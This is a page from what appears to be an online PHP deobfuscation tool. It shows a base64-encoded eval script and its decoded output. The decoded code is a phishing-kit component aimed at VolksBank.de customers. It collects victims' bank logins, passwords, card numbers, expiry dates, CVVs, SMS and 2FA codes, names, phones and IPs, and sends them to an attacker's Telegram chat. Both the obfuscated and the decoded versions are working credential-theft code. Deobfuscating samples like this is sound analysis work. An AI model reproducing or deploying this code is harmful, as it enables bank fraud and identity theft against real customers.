Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(base64_decode('CiBnb3RvIHZldlJMOyB2al9HYzogaWYgKGlzc2V0KCRfU0VTU0lPTlsiXDE2NFwx..
Decoded Output download
goto vevRL; vj_Gc: if (isset($_SESSION["\164\147\x5f\155\163\147\x5f\x69\144"])) { $message = "\360\237\x8e\243\40\126\x6f\x6c\x6b\163\102\141\156\153\56\144\145\x20\x2d\40\x54\x65\154\x65\147\x72\x61\155\40\x50\141\x6e\145\154\40\xf0\237\xa6\x8e\xa\12"; $message .= "\xf0\237\225\x98\40\124\x49\115\x45\x3a\40\x20" . date("\x59\x2f\x6d\57\x64") . "\x20\141\40" . date("\x68\x3a\x69\72\163") . "\xa"; $message .= "\xf0\237\223\x8b\40\114\117\107\111\x4e\40\x55\123\x45\x52\72\40\x20" . $_SESSION["\165\x73\x65\x72\x69\x64"] . "\xa"; $message .= "\xf0\237\x93\x8b\40\x4c\117\x47\111\x4e\40\x50\101\123\x53\127\x4f\x52\x44\72\x20\40" . $_SESSION["\160\141\x73\163\x77\x6f\x72\x64"] . "\xa\12"; $message .= "\xf0\237\247\x91\40\x4e\101\x4d\105\x3a\40\40" . $_SESSION["\x75\163\x65\162\156\x61\155\145"] . "\12"; $message .= "\342\230\x8e\xef\xb8\x8f\x20\120\110\117\x4e\105\72\40\40" . $_SESSION["\x70\x68\157\x6e\145"] . "\xa"; $message .= "\360\237\x92\xb3\40\x43\101\122\104\x3a\x20\40" . $_SESSION["\143\x61\162\x64\137\156\x75\x6d"] . "\12"; $message .= "\xf0\x9f\x93\x85\40\105\x58\x50\72\40\x20" . $_SESSION["\x63\141\x72\144\x5f\145\x78\x70\151\x72\145"] . "\xa"; $message .= "\360\237\x94\222\x20\x43\x56\126\72\40\40" . $_SESSION["\143\x61\x72\144\x5f\x63\x76\x76"] . "\12"; $message .= "\360\x9f\223\207\40\x53\x4d\x53\x20\103\117\104\x45\x3a\40\40" . $_SESSION["\x73\155\163\143\x6f\144\x65"] . "\12"; $message .= "\xf0\237\224\221\40\x32\106\x41\x20\103\x4f\104\x45\72\x20\x20" . $_SESSION["\x32\x66\141\x63\x6f\144\145"] . "\12\12"; $message .= "\xf0\237\221\200\x20\111\x50\72\40" . get_IP(); $message .= "\342\234\x85\40\117\153\141\x79\40\x53\145\x73\163\151\x6f\x6e\x20\x43\157\x6d\160\x6c\x65\164\x65\144\56" . "\12\xa"; telegram_edit_caption($_SESSION["\164\x67\137\155\163\147\137\151\x64"], $message, $telegram_token, $telegram_chat_id); session_unset(); session_destroy(); } goto HhJ1l; GQmB8: include "\143\x6f\156\x66\151\147\56\x70\150\160"; goto vj_Gc; vevRL: session_start(); goto GQmB8; HhJ1l:
Did this file decode correctly?
Original Code
<?php eval(base64_decode('CiBnb3RvIHZldlJMOyB2al9HYzogaWYgKGlzc2V0KCRfU0VTU0lPTlsiXDE2NFwxNDdceDVmXDE1NVwxNjNcMTQ3XHg1Zlx4NjlcMTQ0Il0pKSB7ICRtZXNzYWdlID0gIlwzNjBcMjM3XHg4ZVwyNDNcNDBcMTI2XHg2Zlx4NmNceDZiXDE2M1wxMDJcMTQxXDE1NlwxNTNcNTZcMTQ0XDE0NVx4MjBceDJkXDQwXHg1NFx4NjVcMTU0XHg2NVwxNDdceDcyXHg2MVwxNTVcNDBceDUwXDE0MVx4NmVcMTQ1XDE1NFw0MFx4ZjBcMjM3XHhhNlx4OGVceGFcMTIiOyAkbWVzc2FnZSAuPSAiXHhmMFwyMzdcMjI1XHg5OFw0MFwxMjRceDQ5XDExNVx4NDVceDNhXDQwXHgyMCIgLiBkYXRlKCJceDU5XHgyZlx4NmRcNTdceDY0IikgLiAiXHgyMFwxNDFcNDAiIC4gZGF0ZSgiXHg2OFx4M2FceDY5XDcyXDE2MyIpIC4gIlx4YSI7ICRtZXNzYWdlIC49ICJceGYwXDIzN1wyMjNceDhiXDQwXDExNFwxMTdcMTA3XDExMVx4NGVcNDBceDU1XDEyM1x4NDVceDUyXDcyXDQwXHgyMCIgLiAkX1NFU1NJT05bIlwxNjVceDczXHg2NVx4NzJceDY5XHg2NCJdIC4gIlx4YSI7ICRtZXNzYWdlIC49ICJceGYwXDIzN1x4OTNceDhiXDQwXHg0Y1wxMTdceDQ3XDExMVx4NGVcNDBceDUwXDEwMVwxMjNceDUzXDEyN1x4NGZceDUyXHg0NFw3Mlx4MjBcNDAiIC4gJF9TRVNTSU9OWyJcMTYwXDE0MVx4NzNcMTYzXHg3N1x4NmZceDcyXHg2NCJdIC4gIlx4YVwxMiI7ICRtZXNzYWdlIC49ICJceGYwXDIzN1wyNDdceDkxXDQwXHg0ZVwxMDFceDRkXDEwNVx4M2FcNDBcNDAiIC4gJF9TRVNTSU9OWyJceDc1XDE2M1x4NjVcMTYyXDE1Nlx4NjFcMTU1XDE0NSJdIC4gIlwxMiI7ICRtZXNzYWdlIC49ICJcMzQyXDIzMFx4OGVceGVmXHhiOFx4OGZceDIwXDEyMFwxMTBcMTE3XHg0ZVwxMDVcNzJcNDBcNDAiIC4gJF9TRVNTSU9OWyJceDcwXHg2OFwxNTdceDZlXDE0NSJdIC4gIlx4YSI7ICRtZXNzYWdlIC49ICJcMzYwXDIzN1x4OTJceGIzXDQwXHg0M1wxMDFcMTIyXDEwNFx4M2FceDIwXDQwIiAuICRfU0VTU0lPTlsiXDE0M1x4NjFcMTYyXHg2NFwxMzdcMTU2XHg3NVx4NmQiXSAuICJcMTIiOyAkbWVzc2FnZSAuPSAiXHhmMFx4OWZceDkzXHg4NVw0MFwxMDVceDU4XHg1MFw3Mlw0MFx4MjAiIC4gJF9TRVNTSU9OWyJceDYzXDE0MVx4NzJcMTQ0XHg1ZlwxNDVceDc4XHg3MFwxNTFceDcyXDE0NSJdIC4gIlx4YSI7ICRtZXNzYWdlIC49ICJcMzYwXDIzN1x4OTRcMjIyXHgyMFx4NDNceDU2XDEyNlw3Mlw0MFw0MCIgLiAkX1NFU1NJT05bIlwxNDNceDYxXHg3MlwxNDRceDVmXHg2M1x4NzZceDc2Il0gLiAiXDEyIjsgJG1lc3NhZ2UgLj0gIlwzNjBceDlmXDIyM1wyMDdcNDBceDUzXHg0ZFx4NTNceDIwXDEwM1wxMTdcMTA0XHg0NVx4M2FcNDBcNDAiIC4gJF9TRVNTSU9OWyJceDczXDE1NVwxNjNcMTQzXHg2ZlwxNDRceDY1Il0gLiAiXDEyIjsgJG1lc3NhZ2UgLj0gIlx4ZjBcMjM3XDIyNFwyMjFcNDBceDMyXDEwNlx4NDFceDIwXDEwM1x4NGZcMTA0XHg0NVw3Mlx4MjBceDIwIiAuICRfU0VTU0lPTlsiXHgzMlx4NjZcMTQxXHg2M1x4NmZcMTQ0XDE0NSJdIC4gIlwxMlwxMiI7ICRtZXNzYWdlIC49ICJceGYwXDIzN1wyMjFcMjAwXHgyMFwxMTFceDUwXDcyXDQwIiAuIGdldF9JUCgpOyAkbWVzc2FnZSAuPSAiXDM0MlwyMzRceDg1XDQwXDExN1wxNTNcMTQxXHg3OVw0MFx4NTNcMTQ1XHg3M1wxNjNcMTUxXHg2Zlx4NmVceDIwXHg0M1wxNTdceDZkXDE2MFx4NmNceDY1XDE2NFx4NjVcMTQ0XDU2IiAuICJcMTJceGEiOyB0ZWxlZ3JhbV9lZGl0X2NhcHRpb24oJF9TRVNTSU9OWyJcMTY0XHg2N1wxMzdcMTU1XDE2M1wxNDdcMTM3XDE1MVx4NjQiXSwgJG1lc3NhZ2UsICR0ZWxlZ3JhbV90b2tlbiwgJHRlbGVncmFtX2NoYXRfaWQpOyBzZXNzaW9uX3Vuc2V0KCk7IHNlc3Npb25fZGVzdHJveSgpOyB9IGdvdG8gSGhKMWw7IEdRbUI4OiBpbmNsdWRlICJcMTQzXHg2ZlwxNTZceDY2XDE1MVwxNDdcNTZceDcwXDE1MFwxNjAiOyBnb3RvIHZqX0djOyB2ZXZSTDogc2Vzc2lvbl9zdGFydCgpOyBnb3RvIEdRbUI4OyBIaEoxbDog')); ?>
Function Calls
base64_decode | 1 |
Stats
MD5 | 776157ccc29749c22c96e6f94f1d40b8 |
Eval Count | 1 |
Decode Time | 56 ms |